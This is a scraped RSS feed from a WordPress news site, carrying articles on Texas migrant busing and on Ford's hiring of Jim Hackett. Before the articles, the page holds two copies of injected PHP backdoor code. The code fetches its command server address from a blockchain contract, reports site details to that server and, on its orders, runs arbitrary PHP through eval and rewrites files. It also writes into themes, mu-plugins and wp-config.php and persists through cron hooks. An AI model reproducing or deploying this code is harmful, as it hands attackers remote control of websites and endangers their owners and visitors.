// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); hired – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 18 Sep 2022 05:20:17 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png hired – Brief News https://briefnews.eu 32 32 A bus contractor hired by Texas Gov. Greg Abbott to transport migrants to New York signed an agreement not talk to NY officials, complicating volunteer efforts to help: report https://briefnews.eu/a-bus-contractor-hired-by-texas-gov-greg-abbott-to-transport-migrants-to-new-york-signed-an-agreement-not-talk-to-ny-officials-complicating-volunteer-efforts-to-help-report/ https://briefnews.eu/a-bus-contractor-hired-by-texas-gov-greg-abbott-to-transport-migrants-to-new-york-signed-an-agreement-not-talk-to-ny-officials-complicating-volunteer-efforts-to-help-report/#respond Sun, 18 Sep 2022 05:20:17 +0000 https://briefnews.eu/a-bus-contractor-hired-by-texas-gov-greg-abbott-to-transport-migrants-to-new-york-signed-an-agreement-not-talk-to-ny-officials-complicating-volunteer-efforts-to-help-report/ A person is seen boarding a bus.
One of the migrants.

Vanessa Leroy for Insider

  • Texas has bused thousands of migrants to east coast cities over the past few months. 
  • A contractor busing the migrants has been banned from speaking with New York City officials, the AP reported. 
  • The lack of communication complicates non-profit groups efforts to meet and help those arriving. 

A contractor hired by Texas to bus migrants signed an agreement that bans them from talking to New York officials, the Associated Press reported. 

Manuel Castro, commissioner of the New York City Mayor's Office of Immigrant Affairs, told the AP that complicates efforts to meet and provide resources for migrants being sent from Texas. 

"It's a problem because we don't know when the buses are coming, how many buses are coming, if anyone on these buses has medical conditions that they will need help with, if they need a wheelchair,"Castro told the outlet. "We at least want to know that so that we can best help people as they arrive."

Volunteer groups rely in tips for help as they wait for hours in New York's Port Authority for buses from Texas to arrive.  

Texas Gov. Greg Abbott has been sending buses of migrants to democratic cities like Washington D.C. and New York to President Joe Biden's immigration policies. 

Following in Abbott's footsteps, Florida Gov. Ron DeSantis took responsibility for flying 50 migrants to Martha's Vineyard this week. 

The AP reported that so far about 8,000 migrants were bused from Texas to Washington D.C. and another 2,200 were bused to New York City. 

While some migrants told the AP they were grateful for the help they received to reach East Coast cities, the New York Times reported that the influx has meant that the volunteer and non-profit groups helping these migrants have been overwhelmed, and many migrants are ending up in homeless shelters.

In a statement to the AP, Abbott's office dismissed criticism of the lack of communication. 

"Instead of complaining about fulfilling their sanctuary city promises, these Democrat hypocrites should call on President Biden to do his job and secure the border — something the president continues failing to do," spokeswoman Renae Eze said Thursday.

Read the original article on Business Insider

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]]> https://briefnews.eu/a-bus-contractor-hired-by-texas-gov-greg-abbott-to-transport-migrants-to-new-york-signed-an-agreement-not-talk-to-ny-officials-complicating-volunteer-efforts-to-help-report/feed/ 0 Why Ford Hired a Furniture Maker as CEO https://briefnews.eu/why-ford-hired-a-furniture-maker-as-ceo/ https://briefnews.eu/why-ford-hired-a-furniture-maker-as-ceo/#respond Tue, 05 Feb 2019 03:34:48 +0000 http://briefnews.eu/why-ford-hired-a-furniture-maker-as-ceo/
Todd St. John

If, as Ralph Waldo Emerson said, “an institution is the lengthened shadow of one man,” the story of the American economy can be told by the types of people who run its corporations. The early days of mass production belonged to mechanically minded men such as Henry Ford. The creation of mass markets called forth salesmen such as Thomas Watson Sr., whose faithful troops sang “Ever onward IBM!” After the conglomerate craze of the 1960s and ’70s, almost a third of CEOs hailed from finance and accounting backgrounds. Then a crop of technologists, such as Andy Grove and Bill Gates, arrived.

So it came as a surprise last spring when Ford Motor Company selected a chief executive who hadn’t been reared in Detroit and didn’t easily fit established CEO molds. He was a furniture maker. Jim Hackett, 63, is a product of Michigan’s other corporate cluster—the three office-furniture companies around Grand Rapids, including Steelcase, which Hackett ran for two decades.

At Steelcase, Hackett became a devotee of an approach to product development known as design thinking, which rigorously focuses on how the user experiences a product. He forced Steelcase to think less about cubicles—its bread-and-butter product when he arrived—and more about the people inside them. Hiring anthropologists and sociologists and working closely with tech experts, he made Steelcase a pioneer in the team-oriented, open workspaces so common today. In effect, he transformed an office-supply company into a leader of the revolution in the way we work.

Furniture, of course, tends to stay put. But the leap to automobiles seemed less far-fetched once Hackett and I were sitting side by side in the foam-and-aluminum cockpit of a self-driving-car prototype in one of Ford’s Dearborn design studios. “We may have to leave that there,” he said, pointing to a notional steering wheel emitting a blue glow, “just so that you’re comfortable.” But the driver’s seat can swivel around—like an office chair, he noted. Hackett and I rotated so that we were facing two more Ford employees in the back seat.

The choice of Hackett to lead Ford confounded both those analysts who expected a dyed-in-the-wool carmaker and those who expected a high-tech hand to manage the company as cars morph into rolling computers. But his selection suggests a third way—which may, in fact, capture the times. We don’t live in the age of the automobile, or even the age of the computer. We live in the age of user experience.

Our lives are made up of human-machine interactions—with smartphones, televisions, internet-enabled parking meters that don’t accept quarters— that have the power to delight and, often, infuriate. (“Maddening” is Hackett’s one-word description for 90-button TV remotes.) Into this arena has stepped a new class of professional: the user-experience, or UX, designer, whose job is to see a product not from an engineer’s, marketer’s, or legal department’s perspective but from the viewpoint of the user alone. And to insist that the customer should not have to learn to speak the company’s internal language. The company should learn to speak the customer’s.

LinkedIn lists tens of thousands of UX job openings; the role has become a fixture on those year-end “hottest job” lists. If you want to study UX, you now have the option at some three dozen institutions in the United States, including Carnegie Mellon and the University of Washington. But Ford is one of the few major industrial companies in the U.S. to put a UX guru in charge.

At present, the question hovering over the car industry is basically whether high-tech entrants such as Tesla and Google can learn crankshafts and drivetrains faster than Ford, GM, and other carmakers can learn software and algorithms. But Hackett reflects Ford’s bet that the winner won’t be the best chassis maker or software maker, but the company that nails the interaction between man and machine. “One of the things that drew me to Jim was his commitment to design thinking, which puts the human being at the center of the equation,” Bill Ford, the company’s executive chairman (and great-grandson of Henry), explained to me.

The term UX originated in Silicon Valley. Don Norman, a UC San Diego professor and the author of the seminal book The Design of Everyday Things, worked at Apple during Steve Jobs’s exile in the 1990s. “I thought the quality of the Apple computer was going downhill a little bit,” he told me recently. “We’d reach the tail end of a project, and the engineers would have their say, the marketing people would have their say.” But no one at the table was advocating for the user. In 1993, Norman suggested to then-CEO John Sculley the need for “someone who took the overview of what it was like to use these machines.” He formed a UX office and styled himself as Apple’s user-experience architect.

The migration of UX thinking to other industries was accelerated by the Palo Alto design outfit Ideo, whose founder, David Kelley, helped design the first Apple mouse. It counted Medtronic and Procter & Gamble among its first clients. In the early 1990s, a 30-something Hackett visited Ideo as Steelcase was thinking of entering a new market. He described his experience there as “so profound” that three years later, Steelcase bought a majority stake in the company—in part to get full-time access to Kelley through an always-on video link.

Hackett retired from Steelcase in 2014 and spent 18 months as the University of Michigan’s interim athletic director (he is responsible for poaching the head football coach, Jim Harbaugh, from the San Francisco 49ers). In 2016, Bill Ford hired him to run the automaker’s nascent Smart Mobility subsidiary, which was tasked with rethinking from the ground up how cars would be driven, powered, and owned. Once again, Hackett turned to Ideo. The company had already been working with Ford as a client, but Hackett embedded its employees in Dearborn to jump-start a transformation of Ford’s culture.

“This is what we call the design gap,” Hackett told me, pointing to the space between two lines on a graph he’d sketched for me on a whiteboard. One line ascends—this is a company’s skill at making things, which goes up over time. Below it is a descending line, representing a company’s understanding of the customer’s experience. This, he said, can decline over time, as a company loses sight of the problems it’s in the business of solving. The design gap may be noticeable when the job is, say, building a marginally better tailgate for the Ford F‑150. But it becomes positively yawning when your industry is so thoroughly turned on its head that you’re forced to ask some basic questions: Do people want to own their cars or share them? Drive them or have them driven? The flood of new technologies makes everything possible.

Without a clear compass, the tendency is to add features willy-nilly. Seats that monitor your heart rate! A light-up reminder of the infant in the back! They sound nifty in theory. But the result, Jim Baumbick, one of Ford’s product-management chiefs, told me, is that you are “in effect passing decisions on to the customer.” Overloading the dashboard with too many doodads requires the driver to do the hard thinking about what she needs while on the road. At the same time, it burdens the company with producing all these options. “We need to give customers a narrower set of choices,” Baumbick said. Figuring out the right choices is the trick. And it’s not simple.

The language of design thinking can sound hopelessly abstract to the uninitiated. “I think it’s fair to say that in the first part of Jim’s tenure, there were a lot of quizzical looks,” Bill Ford told me. “We’ve tended to be an insular company in an insular town.” One of Hackett’s early projects as CEO—designing a new HMI (industry-speak for “human-machine interface,” or the controls in the cockpit)—almost failed before it really started. “The first four days, we were going nowhere,” Darren Palmer, Ford’s head of global product development for electric vehicles, told me. A team of about 20 had been sent off-site. “People were talking and just not understanding each other,” Palmer said. A phrase like feature set meant one thing to an engineer, something different to a programmer, and something different still to a marketing executive. “Cats and dogs fighting against each other,” was how Phil Mason, the on-site team leader, described it to me. “After about four days, they said, ‘Hold it. This just isn’t working.’ ”

As a last-ditch effort, the team members were told to give up trying to devise a new set of features for drivers. Instead, they were to go home, reflect on complaints they had about their own cars, and return with stories. These ran the gamut from “I’m on a camping trip and there’s no charger! What’s my backup?” to “On a date night, I can’t be bothered with the navigation system.”

